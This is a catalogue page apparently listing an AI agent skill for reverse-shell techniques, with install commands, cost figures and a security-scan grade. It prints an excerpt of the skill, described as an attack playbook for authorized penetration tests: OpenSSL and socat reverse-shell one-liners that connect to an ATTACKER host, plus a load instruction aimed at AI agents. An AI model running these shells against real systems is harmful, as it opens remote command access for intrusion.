reverse-shell-techniques

reverse-shell-techniques is a skill for Claude Code, Codex from JustineDevs/premortem. It costs 52 tokens per session (2,701 once invoked), scanned C, a copy of reverse-shell-techniques, Apache-2.0.

A security testing guide for reverse shells, where a target machine opens a command-line connection back to an operator.

In plain words
What is it for?
It is for authorized penetration tests and labs involving reverse or bind shells, encrypted connections, web shells, terminal upgrades, PowerShell, and payload generation.
Why use it?
It helps select connection methods, stabilize interactive access, protect the connection, and transfer files across different systems.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: installed under .agents/ (shared by several agents).

Good fit It is for authorized penetration tests and labs involving reverse or bind shells, encrypted connections, web shells, terminal upgrades, PowerShell, and payload generation.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/justinedevs/premortem/reverse-shell-techniques
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add JustineDevs/premortem --skill reverse-shell-techniques
Clone the repo
git clone --depth 1 https://github.com/JustineDevs/premortem

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for reverse-shell-techniques

README.md
[![agentmods](https://agentmods.dev/badge/skills/justinedevs/premortem/reverse-shell-techniques/github.svg)](https://agentmods.dev/skills/justinedevs/premortem/reverse-shell-techniques)
Your own site
<a href="https://agentmods.dev/skills/justinedevs/premortem/reverse-shell-techniques"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/reverse-shell-techniques/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for reverse-shell-techniques

Your own site · 80×15
<a href="https://agentmods.dev/skills/justinedevs/premortem/reverse-shell-techniques"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/reverse-shell-techniques.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,701 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00052 $0.02701
Opus 5 $0.00026 $0.01350
Sonnet 5 $0.00010 $0.00540
Haiku 4.5 $0.00005 $0.00270

Measured 6d ago against content hash 443ec805225a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade C, and why

reverse-shell-techniques scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Hidden instructionshighPrompt injection

Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.

<!-- POST-based with password -->

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# wget / curl
Origin

This is a copy

100% identical to reverse-shell-techniques — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

.agents/skills/reverse-shell-techniques/SKILL.md · 291 lines

How it starts

The opening of the file, as written. The whole thing — 291 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Reverse Shell Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.

Before going deep, consider loading:

Quick Reference

Also load SHELL_CHEATSHEET.md when you need:

  • Complete one-liner reverse shells for 20+ languages
  • Copy-paste ready payloads with placeholder substitution

1. REVERSE vs BIND SHELL DECISION

Factor Reverse Shell Bind Shell
Firewall (egress) Works if outbound allowed Blocked by egress filtering
Firewall (ingress) Not blocked Requires inbound access to victim
NAT Works (victim connects out) Fails (can't reach victim behind NAT)
Detection Outbound connection — less suspicious Listening port — easily detected
Default choice Almost always preferred Only when no egress + have inbound

2. ENCRYPTED SHELLS

OpenSSL Reverse Shell

# Attacker: generate cert + listen
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

# Victim:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s

Socat Encrypted Shell

# Attacker: generate cert + listen
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT

# Victim:
socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Read the full file on GitHub · 291 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 291 lines · 52 tokens per session scan C 443ec805225a

Subscribe to this mod's changes

reverse-shell-techniques is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 52 tokens to every session and 2,701 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (hidden instructions, makes network calls). It is 100% identical to reverse-shell-techniques, differing in 0 lines, and is treated as a copy.

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